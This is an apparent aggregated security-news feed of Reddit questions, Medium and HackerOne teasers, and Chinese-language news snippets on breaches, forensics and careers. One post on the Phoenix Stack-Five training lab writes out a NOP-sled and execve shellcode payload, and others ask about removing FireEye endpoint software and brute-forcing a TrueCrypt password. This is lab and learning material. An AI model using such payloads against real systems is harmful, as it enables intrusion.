Who are the appropriate personnel to include in a threat model from a security standpoint? Security Architects? Engineers? SOC analysts?? Vulnerability management personnel? Compliance? submitted by /u/bankster24 [link] [comments]

Hello, I am not in cyber however I am developing an org structure as part of my school assignment. The roles I came up with that are part of driving the RBAC implementation are: Role Dev Lead, Role Eng. Lead, Role Decomm. Lead, Role Maint. Lead and Auditor Lead. Are they close to RL roles? Thanks! submitted by /u/Hav0c_wreack3r [link] [comments]

As in, if someone has access to your network via Ethernet does it have any extra security risks to your system compared to if they were connected via WiFi? I'm thinking it depends on the type of internet your connection uses, eg fiber, cable, DSL,etc submitted by /u/computerstuffs [link] [comments]

I'm already in a somewhat senior engineering role so I'm not forced to learn for school or to get a better job. I always want to keep driving myself to learn new things and stay on the cutting edge of infosec in order to both be more knowledgeable in my current role but also for my own curiosity. Balancing this with a full time+ career as well as family and social obligations feels exhausting sometimes. What do you guys do to stay motivated? submitted by /u/Deliveranc3 [link] [comments]

Be it for threat hunting or making sure everything's hunky dory, for reporting activity or predicting trends, what do you like to see graphed, and what insights does it give you? I'm looking for more tools for the toolbelt. submitted by /u/Outside-Log-2104 [link] [comments]

My SSD is low capacity, how to open ? submitted by /u/mefumetsub [link] [comments]

I have some old sites I run for friends and family on a shared small webhosting place that has a cPanel Linux server. I don't use cPanel for much and don't know all that much about it. I forgot about a WordPress site I was running and someone got it and was able to then compromise the cPanel login. Shame on me for letting a WordPress site sit vulnerable, I know. But it happens. They were then able to get into cPanel. So they loaded up a few WordPress sites with phishing site stuff, and also sent out some phishing emails, all pretty standard stuff I've seen before. Lots of base64 php files and other standard WP hack php stuff. Something I hadn't seen before happened when I SSHed into the server, and I'm not sure what it was or what they had running. I logged in and immediately saw an error that I don't exactly remember, but it was a normal looking error about "no shell", I couldn't do anything, it was just an empty shell. None of the standard commands worked. So I logged in, and something caught my session and had me in... I don't know what. I did ctrl-d or maybe ctrl-c and was back to the normal shell on that server. Things looked normal again. I wasn't even sure I was on the server at first, so I didn't capture the exact errors I was seeing before the return to normal. One thing that I did notice was the title of my session in iterm2 had changed to what looked like a list of files on the server with ^M in between the names. So, something like access-logs^M^application-backups^M^dbs^M^ and so on, all the root level directories. By the time I gave it any thought, I had already cleaned up most everything and killed a couple of running processes. Any idea what I got into when I logged in to there? submitted by /u/blakesterz [link] [comments]

I currently have a Ruby on Rails server that does server-side rendering, and it calls one of my microservice. I have Basic Auth implemented for that microservice, but I wonder if it is possible for someone to found where is that microservice and the header/body of my request? Can that be safely prevented by HTTPS? submitted by /u/hksparrowboy [link] [comments]

We got a report for the vulnerabilities across a system. The findings showed around 40 high vulnerabilities, 150 medium vulnerabilities and 300 low vulnerabilities. The problem I have is how to visually get this across to management as I can make it a simple pie chart but because of the 300 low vulnerabilities dwarfing the 40 high vulnerabilities it doesn't come across particularly well. Does anyone have any ideas? Also we've created a calculation to plot the average score by using cumulative total of all CVSS scores divided by the number of findings and because there's so many low findings with low scores this is causing it to look better than it is as having around 40 high vulnerabilities isn't good. Does anyone have any sort of formulas or calculations I can use to get this risk score across better? Thanks submitted by /u/nimdroid [link] [comments]

OK so the basics are that we're looking for a tool that we can use to group together and manage vulnerabilities found from multiple other sources/scanners (preferably open sorce) We're not looking for anything that will run its own scans; rather, manages already found reports... if that makes sense. At the moment, we're currently using an Excel spreadsheet to group everything together. If anyone has any suggestions that would be a life saver, thank you in advance. submitted by /u/Autumn-shadow [link] [comments]

Hello, My friend worked in Blueteam domain as Network security mostly on Firewalls, WAF, IPS etc. solutions. He lost his job earlier and saw an opening at Sandvine which he applied and got a call for interview but he is not sure what type of questions expected. Appreciate if anyone can advise what should he study and what type of questions to be expected and response. TIA submitted by /u/junostik [link] [comments]

Hey all, just started a job and I have to run some tests on use cases/artifacts/evidence scenarios. The company wants me to enter their IT Security Labs, and check items out of date such as routers, where firewalls are located, etc. There are 110 controls and I need to align a majority of the company's internal systems and processes with NIST 800-171 for CMMC. What is the best way to do this? submitted by /u/LordCommanderTaurusG [link] [comments]

Stripe disclosed a bug submitted by bubbounty: https://hackerone.com/reports/1066203 - Bounty: $2500

Nextcloud disclosed a bug submitted by ctulhu: https://hackerone.com/reports/1337178 - Bounty: $100

MTN Group disclosed a bug submitted by pudsec: https://hackerone.com/reports/1049402

I had to add my personal info to a phonebook, which I don’t like, so I took down the server ;) Continue reading on InfoSec Write-ups »

Greetings from Kerkoporta to all, Continue reading on Medium »

File uploading attack Continue reading on Medium »

Looking through the google cloud console for products “https://console.cloud.google.com” to look for bugs i came across VMware Engine. Continue reading on Medium »

Hello Hackers and Security community. I’m going to share how I’m able find the bug. Continue reading on Medium »

Hi everyone, Continue reading on Medium »

Blind XSS is a relatively easy bug to find with the availability of tools like XSS-Hunter and Burp collaborator. Continue reading on Medium »

Here are my bounty bug findings regarding Misconfiguration OAuth Lead Account takeover Part 2 Continue reading on Medium »

Hello Hackers, I’m MrEmpy, I’m 17 years old and welcome. Today I’m going to tell you about an event that happened to me while I was… Continue reading on Medium »

Hi guys in this tutorial you will learn how to create python script for finding username of admin panel of target wordpress website and… Continue reading on Medium »

submitted by /u/smaury [link] [comments]

submitted by /u/eberkut [link] [comments]

submitted by /u/genemcculley [link] [comments]

submitted by /u/AlexForster [link] [comments]

submitted by /u/Subterminal303 [link] [comments]

submitted by /u/YuvalAvra [link] [comments]

submitted by /u/nathanAbejeM [link] [comments]

Welcome to the 3rd edition of the discursus Protest Analytics newsletter. Continue reading on discursus.io »

Sumbubotol.com, November 27, 2019 — Kabar gembira hari ini. Sumbubotol.com mengucapkan selamat kepada Submarine Amsterdam yang berhasil… Continue reading on Sumbu Botol »

Article URL: https://www.phoronix.com/scan.php?page=news_item&px=BHI-Spectre-Vulnerability Comments URL: https://news.ycombinator.com/item?id=30603762 Points: 5 # Comments: 0

Article URL: https://slashdot.org Comments URL: https://news.ycombinator.com/item?id=30601465 Points: 1 # Comments: 0

Article URL: https://arstechnica.com/information-technology/2022/03/linux-has-been-bitten-by-its-most-high-severity-vulnerability-in-years/ Comments URL: https://news.ycombinator.com/item?id=30596044 Points: 39 # Comments: 10

近日，网络上出现 Linux 下 DirtyPipe 本地权限提升漏洞，任何非特权本地用户可通过此漏洞获取root权限。目...

Article URL: https://blog.cloudflare.com/cve-2022-26143/ Comments URL: https://news.ycombinator.com/item?id=30602912 Points: 4 # Comments: 0

Article URL: https://blog.rust-lang.org/2022/03/08/cve-2022-24713.html Comments URL: https://news.ycombinator.com/item?id=30600044 Points: 4 # Comments: 0

This blogpost will describe how Transparency, Consent, and Control (TCC) affects extended attributes on macOS Continue reading on Medium »

I am just curious about how females go along in this field as I am currently doing a BSc in Business Management and Information systems and want to be a digital forensic investigator. submitted by /u/SkillKiller3010 [link] [comments]

Hey everybody, I was lucky enough to be considered for a digital forensics internship position with my state's primary forensic agency. I've worked practice cases at my university using FTK and AXIOM, and I have research experience making a forensic image and working a case from beginning to end. Could anyone provide any tips to help me prepare for the interview? I have an incredible opportunity, and I want to make the most of it that I can. submitted by /u/Tuuin [link] [comments]

Introduction When doing an Internal Penetration Test, it is not uncommon to run BloodHound at one point or another. In case you are not familiar with BloodHound, it’s a tool that automatically fires off a bunch of LDAP queries and Windows API calls to collect various data in an Active Directory environment. Data can range... The post Expanding the Hound: Introducing Plaintext Field to Compromised Accounts appeared first on TrustedSec.

A supply chain attack, also known as a value-chain attack or a third-party attack, occurs when someone attacks an organization’s system… Continue reading on InfoSec Write-ups »

A supply chain attack, also known as a value-chain attack or a third-party attack, occurs when someone attacks an organization’s system… Continue reading on InfoSec Write-ups »

We disclosed several GKE Autopilot vulnerabilities and attack techniques to Google. The issues are now fixed – we provide a technical analysis. The post Container Escape to Shadow Admin: GKE Autopilot Vulnerabilities appeared first on Unit42.

SharkBot是一种银行木马，它能够绕过多因素身份验证机制窃取银行账户凭据。

Alphabet股东起诉谷歌，由于谷歌故意隐瞒安全漏洞，导致用户私人数据泄露。2018年10月，有美国媒体报道称，该事件导致谷歌+近50万用户的个人数据泄露。

这是数字时代首次爆发的，多个国家级黑客力量入局，且以国家为打击目标，破坏核心关键基础设施的全球级黑客网络战！ 【导语】2月24日，乌克兰与俄罗斯之间

云原生安全相关的公司雨后春笋般建立起来，各个大云厂商也积极建立自己云原生的安全能力，保护云上客户的资产。

自新冠疫情以来，网络犯罪一直呈上升趋势。专注网络安全的锐成信息在此搜集了2021年最值得注意的网络犯罪统计数据以及行业专家对2022年的互联网安全趋势预测。</

3月9-10日上午9点30分，锁定CIS2021 Spring·春日版官网，超棒的议题、超nice的有奖活动正等待着您。

从传统的运营商、能源、医疗、金融等行业，到新兴的互联网行业，都掀起了数据安全建设的浪潮。

「用梦想和勇气去创造，用信念和努力去证明。」 大家好，我是阿杨，自学渗透测试入门安全圈，目前是The loner安全团队的全职挖洞选手，擅长挖掘业务逻辑漏洞，并收获丰厚的奖金激励。

近日，Mozilla对火狐(Firefox)网络浏览器进行了带外安全更新，其中包含了两个影响很大的安全漏洞。

俄罗斯媒体遭受网络攻击，出现乌克兰境内的战争画面。

在平时做项目的时候，每次开启虚拟机使用会很不方便，配置低的电脑后台开多了还会出现卡顿现象。主要还是在本地安装使用更加的方便快捷，提高了效率。也可以部署在vps等，方便对内网进行渗透。

截至2022年1月，FBI已经确定，在受攻击的10个关键基础设施中，至少有52个关键基础设施被入侵，涉及关键制造业、能源、金融服务、政府和信息技术领域等领域。

三星于周一证实了其网络遭到了黑客入侵，包括Galaxy手机的源代码在内的机密信息被窃取。

3月7日，流行的加密货币交易所 Coinbase宣布，正在封锁25000多个与俄罗斯自然人和实体相关的加密货币地址。

submitted by /u/Yankeeslv [link] [comments]

Red Teams use a comprehensive and complete toolkit to expose different platforms and get accurate results when reporting failures, data… Continue reading on Medium »

Phishing is one of the most serious threats in the digital world. Phishing makes people fool. Phishing email always looks like same as the… Continue reading on Medium »

When I was singing up for spectrum they asked for my SSN, I gave to them since. How scared am I? submitted by /u/Empty-Ad1458 [link] [comments]

Years ago I made some TrueCrypt volumes and forgot about them. I have now found them and forgotten some of the password. I know what the first half was and what some of the second half was but don't know where I put special characters or capital letters. I'm not good with git hub so is there a non-Github program that will let me enter the known parts, I can tell it to try every possible character in certain spaces, and only lower case and uppercase of certain letters i.e. m or M? submitted by /u/TerribleFruit [link] [comments]

I've been fascinated with cyber/net sec since I was a teenager who wanted to be a '1337 hax0r' (doesn't every nerdy teen wanna be one?). However, I went into Web Development. As I went I did have to learn about defensive coding techniques against SQL injection, path escalation, etc. I worked for financial, insurance and ISO270001 companies and thought I had a reasonable grasp of things since I'd done some sysadmin along the way installing Fail2Ban, Tripwire, etc. I even have the compact red, blue and purple team reference books and Parrot Sec on one partition I occasionally used to play with sec tools and have a Shodan account. I knew about Metasploit but had only done one tutorial. Fast forward to now: I need a career change after dev-burnout. I look into cyber sec and BOOM! Suddenly I see a ton of shit I've never seen before: SIEM? Mitre Att&ck? IoT Bots (have my ESP32 climate monitoring boards become an attack vector?!) TTPs? What on earth happened in the past few years that I missed? I barely recognise the industry anymore. I lifted my finger off the pulse for a few seconds and suddenly it's a different beast entirely. Can some kind soul point me to a good YouTube channel, guide, book, (free/cheap) course that will fill in the gaps I've missed the past few years? submitted by /u/adminsuckdonkeydick [link] [comments]

Recently noticed activity that I didn't really remember doing on an account, but it was from my exact ip address. I have a limited understanding of ip addresses, but spoofing a specific address isn't really possible, as you won't receive anything from the site you are trying to reach, correct? A proxy needs to be used, which is already a set "spoofed" ip, right? . submitted by /u/SaucyBoiTybalt [link] [comments]

Does anyone know where I can find instructions or documentation about removing FireEye from a host? Specifically what registry keys should be deleted? Does anyone have experience with this request? Thank you for taking a look! submitted by /u/ELcup [link] [comments]

Hey r/AskNetsec, I'm getting hacked by two lecturers at my university. I know this and do not want to call the police as I have no evidence of them hacking me. I'm a student and have no money to pay for a digital forensics investigation to be done. How do I stop them from hacking me. They're hacking all my devices and families devices. They also are hacking my email account using a cookie stealer. I have no idea how to stop this and this has become cyberstalking. I'm a South African, I cannot contact the FBI or foreign charity organisations either. I don't want to involve the police since, all they have to do is stop hacking me, then I could get prosecuted for falsely accusing someone of committing a crime. Any advice or help with the situation would be appreciated. Best regards, Anon submitted by /u/Independent_Art_9954 [link] [comments]

A few days ago, I happened to see a message from Facebook. I went through the link without thinking and since then, I have since countless spam emails, and several times a day, I have been notified of membership registration and logout for sites that I do not need to log in at all the time. After that, I found out that something was wrong. Perhaps attacked by phishing. The Facebook site on the link I entered was a well-made site very similar to a normal site. In addition, there was no doubt at all because it was possible to log in, search, news articles, and content within the site. Banners, search windows, newsstand windows, login windows, and putters at the bottom were configured in a very similar way. And as a result, I had no choice but to renew all my personal contact information and e-mail addresses. I've only encountered the kind of writing to be careful of phishing sites, but I feel quite bad that I'm actually being attacked. Beyond feeling bad, it is creepy that other people view and use my personal information without permission. In order to prevent access to phishing sites and prevent personal information from being leaked, it is necessary to check if the domain is normal when receiving e-mails or text messages containing links. So I want to ask. What is a way to verify that it is a normal domain when receiving mail and text messages containing links? Is there a service or system that determines a link to a web page normal or dangerous when i enter suspicious link to search box? submitted by /u/Late_Ice_9288 [link] [comments]

Hey Everyone, I have a new mentee who wants to learn networking. She is completely from a non IT background. Could you please suggest some good basic references/trainings that she can learn from. I know of some CCNA and Comptia instructors who start from quite basics but wanted to check if there is some other non certifications course that she can start with. submitted by /u/wackynerd14 [link] [comments]

As this is a very hot topic, I'd like to prefix this with me saying I am trying to keep this 100% politics-free and strictly technology-related. That said, I read earlier today that there's a possibility of Russia forcing the use of their own DNS servers as of March 11: https://www.thetechoutlook.com/news/new-release/software-apps/breaking-news-russia-is-preparing-to-disconnect-from-the-global-internet I do not know the validity of the news itself, so I'm hoping to keep this strictly on the technical aspect in the case the order does happen. If we have vendors that hold offices in Russia and can access to our VPN (let's also assume we do not have control over our vendor's offices): could this new order introduce any additional risks to our network? Our VPN should deny all requests with an invalid SSL certificate, but does anyone think the order could introduce any additional risk of DNS attacks? (at least directly?) Assuming users do not ignore SSL warnings, would this be any more of a concern than usual? Thanks in advance! submitted by /u/HPCer [link] [comments]

submitted by /u/dmchell [link] [comments]

submitted by /u/dmchell [link] [comments]

submitted by /u/Raven_Claw7621 [link] [comments]

Everyday, billions of people around the world turn to Chrome to get things done quickly on their devices, whether shopping for a new pair of headphones or pulling together a sales report for work. Nothing is more frustrating than having a slow experience while browsing the web. That’s why Chrome has always been focused on building the fastest possible browser since its launch in 2008, without compromising on feature functionality or security. In our first The Fast and the Curious post of 2022, we are thrilled to celebrate how in the M99 release of Chrome we were able to substantially increase the speed of Chrome across all major platforms. We go deep on every platform where Chrome runs to provide the fastest possible experience. We’re excited to announce that in M99, Chrome on Mac has ach…

(LET’S EXPLORE WEBSITE) Continue reading on Medium »

This post describes three vulnerabilities found on paid bounty programs along with an overview about how it was found and the performed… Continue reading on InfoSec Write-ups »

In light of the current events occurring in Ukraine now would be a good time to: Continue reading on Medium »

Article URL: https://orca.security/resources/blog/autowarp-microsoft-azure-automation-service-vulnerability/ Comments URL: https://news.ycombinator.com/item?id=30589845 Points: 213 # Comments: 41

Article URL: https://dirtypipe.cm4all.com/ Comments URL: https://news.ycombinator.com/item?id=30586740 Points: 673 # Comments: 232

Glassdoor disclosed a bug submitted by bombon: https://hackerone.com/reports/1424094 - Bounty: $2000

soon Continue reading on Medium »

soon Continue reading on Medium »

submitted by /u/FoShizzleMyWeasle [link] [comments]

submitted by /u/moviuro [link] [comments]

submitted by /u/TheDFIRReport [link] [comments]

Hi Team, Need suggestions for any websites where I can find a reference scenario of a cybercrime where you have to do a computer forensics on a victims PC. For example a hacking incident, you have to verify of investigate how he/she was hacked. The report shall include the creation of a hypothetical scenario of a crime committed involving the said electronic device, as well as, a detailed description of the forensic examination, tools used, procedure, and findings, evidenced with the necessary screenshots and ensure all screenshots have the necessary verifiable names. This is a school project for my cybersecurity program and it is only my term 1. ​ Thank you so much! submitted by /u/bankshot15 [link] [comments]

To present forensic analysis in the court, we can't modify smarphone evidence, although i have put android phone in airplane mode, i still worry about modifying smartphone data during cellebrite ufed phone extraction, how to avoid tempate evidence during extraction? for linux image analysis, i can mount as read only, how about smartphone? submitted by /u/cyberfo [link] [comments]

Yep..someone fucked up the chain of custody forms submitted by /u/MasterBet [link] [comments]

submitted by /u/TheDFIRReport [link] [comments]

we encounter a lot of packages with small ttl in our pcap files, is this the symptom of DNS poisoning attack, or dns hijacking or other dns attack, like ddos? submitted by /u/cyberfo [link] [comments]

how to detect C2 communication from log, we have method to detect beaconing, but now has difficulty in detect Command and control command, we have no clue, anyone know how to detect it through splunk log? submitted by /u/cyberfo [link] [comments]

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

基于零信任的远程办公安全方案，可以摆脱主机，轻松保证远程办公业务的连续性。

到2023年底，初步构建起车联网网络安全和数据安全标准体系；到2025年，形成较为完善的车联网网络安全和数据安全标准体系。

我们会持续的介绍一些国际上臭名昭著APT组织，让我们更加了解和规避这些恶意的恶意软件。

这里从漏洞点出发，分析漏洞，从中学习一些白盒挖掘漏洞的思路。

美国网络安全和基础设施安全局 (CISA) 本周在其利用漏洞目录中增加了95个新的安全漏洞，使其可利用的漏洞总数达到 478 个。

本文将重新审视密码管理器，为大家解答关于密码管理器的若干重要问题。

Telegram’da Putin yanlısı kanallar arıyordum, Google Dork’u kullanma. Bunun da Google hacking’i kullanmanın pratik bir örneği olduğunu… Continue reading on Medium »

Open source intelligence is a vital task for the red team and blue team alike. Here are some of the most useful OSINT tools. Continue reading on Medium »

Automatic Free Crawler By Google Continue reading on Medium »

Final Recon is a fast and simple python script for web reconnaissance. It follows a modular structure so in future new modules can be… Continue reading on Medium »

Hey everyone I would like to join the security game. i have a background in programming, how computers and software works what is the fastest way to make money in the security field? I'm here not only for money i really like this field but i need to make money fast i have pills to pay and i can't get a job appreciate any help and guide submitted by /u/timet0fly [link] [comments]

Hi there, I'm interested to test this SIEM for education purposes. I downloaded the latest version from the official site and installed it on my VMware. But I stumbled upon the fact that I do not fully understand how best to configure everything. I did not find any deep step-by-step documentation on the official portal. And most likely I can miss a lot through undetailed documentation. Do I understand correctly that Suricata works out of the box? I don't need to install an agent on a Windows host? When I installed HIDS on my Windows host, I had a lot of weird events where the destination IP is displayed - 0.0.0.0. And I don't even know how to make a rule, so these events are not reflected. I googled and other people had such problems and there is no solution. Who works a lot with this SIEM, perhaps from your experience, you could share recommendations on what to do, what to do after installing this SIEM. I also haven't fully figured out how to run FIM. submitted by /u/athanielx [link] [comments]

I believe my neighbors are watching me using private networks. I have have an app that shows hidden SSIDs. I think they are using these networks to see and listen to what I'm doing on my devices. submitted by /u/AshuraSenkuu [link] [comments]

There is an on going bug in chrome that allows attackers to download files in the background into the victims machine without triggering any gui updates, I first experienced this about two moths ago when I was trying to close the browser only to be interrupted by a chrome prompt informing me that there are ongoing downloads in the background that weren't started by me and display no sign of the downloading process on chrome's gui. I was a bit alarmed but I didn't pay it too much attention. Then I got curious when yesterday I had the same experience again, this time obviously I clicked 'continue downloads', I was taken to chrome download page where I found that chrome had intercepted and flagged a 'malicious file' and it was offering me to either 'keep' or 'discard' said file, regrettably …

Hello everyone ! I am a 21 year old french cybersecurity enthusiast and I would like to share with you Frelatage, which is a tool I wrote ! It is a coverage-based Python fuzzing library which can be used to fuzz python code. The development of Frelatage was inspired by various other fuzzers, including AFL/AFL++, Atheris and PyFuzzer.The main purpose of the project is to take advantage of the best features of these fuzzers and gather them together into a new tool in order to efficiently fuzz python applications. Please note that the project is still in early alpha, and its development is very active, so any advice or suggestion is welcomed ! Install: https://github.com/Rog3rSm1th/Frelatage https://i.redd.it/m88potyk9tl81.gif submitted by /u/FrenchFuzzer [link] [comments]

As I was going through protostar Phoenix Stack overflows I came across something on the Stack-Five exercise that I don't quite understand on amd64. https://exploit.education/phoenix/stack-five/ Basically I can get the exploit to work when the nop sled is 80 characters long but when I have it 88 characters long I get a seg fault. This Works t.sendline('\x90'*80 + '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' + 'h'*29 + pwn.p64(0x7fffffffe5d0)) ​ This gives a segfault t.sendline('\x90'*88 + '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' + 'h'*21 + pwn.p64(0x7fffffffe5d0)) ​ Does anyone know why the second one doesn't work? submitted by /u/Jasonsaccount [link] [comments]

submitted by /u/jonas02 [link] [comments]

submitted by /u/JordyZomer [link] [comments]

These days bug bounty hunters have been finding many low hanging fruits and a lot of them want to go beyond those bugs. This blog is for… Continue reading on InfoSec Write-ups »

Hello Myself Manan Aggarwal a student from the BTech CSE is here to Present you the Blog about the All About the Access Control Part-1… Continue reading on Medium »

Hi all, I hope all is well. In this story, I’ll explain an idor bug which I found in a private bug bounty program. This story will very… Continue reading on Medium »

An automated SSRF finder. Just give the domain name and your server and chill! ;) It also has options to find XSS and open redirects. Continue reading on Medium »

Bypassing biometric authentication just by making a call and access the app completely Continue reading on InfoSec Write-ups »

Hello, Security Guys & Hacker In this Write Up I am Going to tell you about Continue reading on Medium »

This is a short story about my recent bug hunting on a private program. This program mainly relies on OTP to check user’s authentication… Continue reading on Techiepedia »

Let us learn some P4 bugs Continue reading on Medium »

今日暂未更新资讯~ 更多最新文章，请访问SecWiki

今日暂未更新资讯~ 更多最新文章，请访问SecWiki

In my forensic image, some deleted files I can recover, some can not. How Encase determine which files are not recoverable internally? For data carving, how Encase retrieve internally those files, are they use same techniques compared with recover deleted files? thanks. submitted by /u/cyberfo [link] [comments]

in X-ways, if I browse the root directory of image, i found free space, idle space and slack space, can anyone explain what's the different among these these three spaces? in filter attribute， there are SUID/SGID, symlink and special file. I thought suid file are special file, what are the special file X-ways refer to ? symlink means hardlink or soft link? submitted by /u/cyberfo [link] [comments]

Hi all. I'm an intern in computer forensics and I'm trying to perform a physical acquisition on an oppo phone which is unfortunately unrootable as far as I know. I have Cellebrite UFED and MobilEdit but both of them require rooted devices. Any advice for this case? Tysm submitted by /u/juneflorence [link] [comments]

Signature based intrusion detection or prevention systems, will detect malicious activity through a predefined signature. If a Red Team… Continue reading on Medium »

Article URL: https://lists.apache.org/list?announce@apache.org:2022-3 Comments URL: https://news.ycombinator.com/item?id=30577267 Points: 3 # Comments: 0

Article URL: https://lists.apache.org/list?announce@apache.org:2022-3 Comments URL: https://news.ycombinator.com/item?id=30577267 Points: 3 # Comments: 0

My previous post on this topic presented my thoughts on how the concept of "artifact categories" were being misused. My engagement with artifact categories goes back to 2013, when Corey Harrell implemented his thoughts on categories via auto_rip. I saw, and continue to see, the value in identifying artifact categories, but as I alluded to in my previous post, it really seems that the categories are being misused. Where the artifacts should be viewed as providing an indication of the categories and requiring further analysis (including, but not limited to the population of artifact constellations), instead, the artifacts are often misinterpreted as being emphatic statements of the event or condition occurring. For example, while an entry in the ShimCache or AmCache.hve file should indicate …

A request that's been pretty consistent within the industry over time has had to do with reporting. I'd see a request, some responses, someone might ask for a template, and then the exchange would die off...I assumed that it had moved to DMs or offline. Then you'd see the discussion pop up again later, in some other forum. I get it...writing is hard. I have the benefit of having had to write throughout my career, but also of putting intentional, dedicated effort into DFIR reporting, in that I had been very purposeful in seeking feedback from my boss, and incorporating that feedback into report writing. I was able to get to the point of having reports approved with minimal (if any) changes pretty quickly.  As a result, in 2014, Windows Forensic Analysis Toolkit 4/e was published, and in thi…

submitted by /u/PM_ME_TO_PLAY_A_GAME [link] [comments]

submitted by /u/SatansMoisture [link] [comments]

submitted by /u/SatansMoisture [link] [comments]

Introduction Many tools have been developed that create an HTTP request and allow a user to modify their contents. Fuzzing works the same way. A The post A Detailed Guide on Wfuzz appeared first on Hacking Articles.

Introduction Many tools have been developed that create an HTTP request and allow a user to modify their contents. Fuzzing works the same way. A The post A Detailed Guide on Wfuzz appeared first on Hacking Articles.

submitted by /u/addelindh [link] [comments]

Traveling a lot this week and was just wondering what kind of vpn you guys use while traveling and any other security measures you may have :) submitted by /u/Savage-shredder [link] [comments]

I never thought I would say this, normally being on the hiring side, but has anyone had positive experience for US-based boutique infosec recruiters that they would recommend? I’ve found several listed in CISO magazine and such but don’t know if any are particularly clue-full. Public or DM is fine, thanks! submitted by /u/venerable4bede [link] [comments]

Cloudflare supports more than 16 million Internet attributes and is now one of the most popular WAFs(Web Application Firewalls). A year… Continue reading on Medium »

what is Xml-RPC? Continue reading on Medium »

高效挖掘反序列化漏洞——GadgetInspector改造 by ourren js安全之ast混淆 by ourren 基于openresty的安全网关开发记录 by ourren 更多最新文章，请访问SecWiki

高效挖掘反序列化漏洞——GadgetInspector改造 by ourren js安全之ast混淆 by ourren 基于openresty的安全网关开发记录 by ourren 更多最新文章，请访问SecWiki

How to collect a forensic image of a VSXI/EXSI that has been infected with ransomware? submitted by /u/rvndomus3r2019 [link] [comments]

I am sending a hard drive I own into Cyber Forensics. If possible, I am looking for software advice to copy the hard drive before sending it in to experts. Additionally, if you have advice for transferring the files from the software to a type of hardware, I would appreciate it. ​ Thanks. submitted by /u/Odd-Switch-1658 [link] [comments]

Article URL: https://www.theguardian.com/commentisfree/2022/mar/05/uks-vulnerability-to-corruption-uncovered-amid-slow-sanctions-response Comments URL: https://news.ycombinator.com/item?id=30566774 Points: 9 # Comments: 0

submitted by /u/hanbei-undying [link] [comments]

Mail.ru disclosed a bug submitted by mainteemoforfun: https://hackerone.com/reports/1045644

英伟达发布了一份报告，承认攻击者从其系统中窃取了员工密码和未披露的英伟达专有信息。

Article URL: https://github.com/libexpat/libexpat/blob/R_2_4_7/expat/Changes Comments URL: https://news.ycombinator.com/item?id=30564782 Points: 1 # Comments: 0

Tryhackme: Searchlight — IMINT — Part 2 Continue reading on Medium »

How I triggered a weaponized Fake-Left Troll Farm meant to harass, target, defame and deplatform prominent Disinformation researchers. Continue reading on Medium »

This post is a step-by-step guide to create a network diagram in Maltego. Continue reading on Medium »

Baidu Maps http://map.baidu.com/ Continue reading on System Weakness »

Imagina estar fazendo sua dancinha trend no TikoTeko e ser preso logo após? Pois foi o que aconteceu. Continue reading on Medium »

submitted by /u/yesyoucantrip [link] [comments]

submitted by /u/stargravy [link] [comments]

submitted by /u/wrongbaud [link] [comments]

submitted by /u/h4ck3dit [link] [comments]

submitted by /u/mdulin2 [link] [comments]

submitted by /u/YuvalAvra [link] [comments]

Lark Technologies disclosed a bug submitted by aishkendle: https://hackerone.com/reports/1470076 - Bounty: $500

Omise disclosed a bug submitted by sachinrajput: https://hackerone.com/reports/1466967

Nearly all Rust code is memory-safe. A necessary part of using Rust is to use the wide ecosystem of third-party Rust crates. These are… Continue reading on Medium »

Nearly all Rust code is memory-safe. A necessary part of using Rust is to use the wide ecosystem of third-party Rust crates. These are… Continue reading on Medium »

I see how bluetooth is a vulnerability to the data that's being transferred over the connection but does it pose an actual threat to, lets say, a phone's internal data? Or are they just going to be able to listen along to my music? submitted by /u/zeff_05 [link] [comments]

Does Airbnb have a robust enough infosec team to prevent Russian hackers from registering fake properties in the Ukraine to take advantage of all the people in America lazy enough to only donate to Ukrainians bthrough reserving Airbnb's? submitted by /u/intentropy [link] [comments]

I'm looking at an email that was suspected as a phish and for the most part it's fairly benign but there's a few areas in the headers that don't add up for me. The call to action in the email was to update some Site-to-Site VPN addresses to US Bank. Important to note that we don't currently have anything like that established with them, though the support numbers appear to be official and I just don't clearly see where the hook here is yet. The part that confuses me most is that the sender IP listed as the first SPF record is our public NAT address for client VPNs and not even one of our mail servers. The headers do refer to one of our mail servers further down, however it's the wrong IP. I'm new to the org though so may not have all the pieces to the puzzle. Are there simple explanations…

Hey Everyone. Moderating this Subreddit throughout the past 6 or so months I have seen the topic come up quite a bit regarding utilization. While Metrics need to be gathered to determine whether an employee does their job or not, having baselines often causes stress, unrealistic expectations, and caveats that often cause issues with this requirement (IE Training on common security topics/trends/New Threat Landscapes) As far as I know, having a growth mindset and focusing on metrics related to security inside the organization is the way to go, and not micromanaging employees on the numbers each one of them push out. I'd be interested to hear others and their thoughts on this, and how it relates to your employees and organization. submitted by /u/Envyforme [link] [comments]

Leaving it kinda brief, I have around 6 years in Security starting off as a QA and deployment engineer, and later moving on to partners and doing what I consider architecture. Most of my background is focused on SIEM. Scoping out deployments, talking to clients about what to log and understanding their requirements and how to change/modify their environments to match our services offerings etc. Anyway I took a "Security Architect" role at a big 5 firm and definitely realized I'm under prepared. What can I do to make sure I don't get fired? I didn't entirely oversell myself and I was totally open about my experience, I just feeling way overwhelmed with the level everyone else in my group is at. submitted by /u/Kirin-Jack [link] [comments]

Idk what to write submitted by /u/The_Intellectualist [link] [comments]

What is everyone else doing to effectively control (remove) the use of administrative rights on workstations development team members use? We’ve pulled local admin rights from general employees years ago without much issue but every time we approach our dev teams to do it it’s just impossible as it too extremely inhibits their work as they legitimately need to do config management for locally installed services (eg IIS) and maybe less legitimately installing “development tools”. I’d add, we do have pro, qa, dev, sandbox environments but the devs still choose to do development on their desktop systems for “performance” reasons which there is some truth to as we give them beefy hardware (tons of ram/top end CPUs). Edit: after some good dialog here seems like common perspective is to put them in an isolated environment such as a VM. Thanks everyone for the discussion. Still monitoring this so chime in with any other thoughts/experience. submitted by /u/clayjk [link] [comments]

It looks like there are two certificates now compromised as a result of the Nvidia breach. What if anything should organisations be doing to protect themselves? submitted by /u/annonuk2020 [link] [comments]

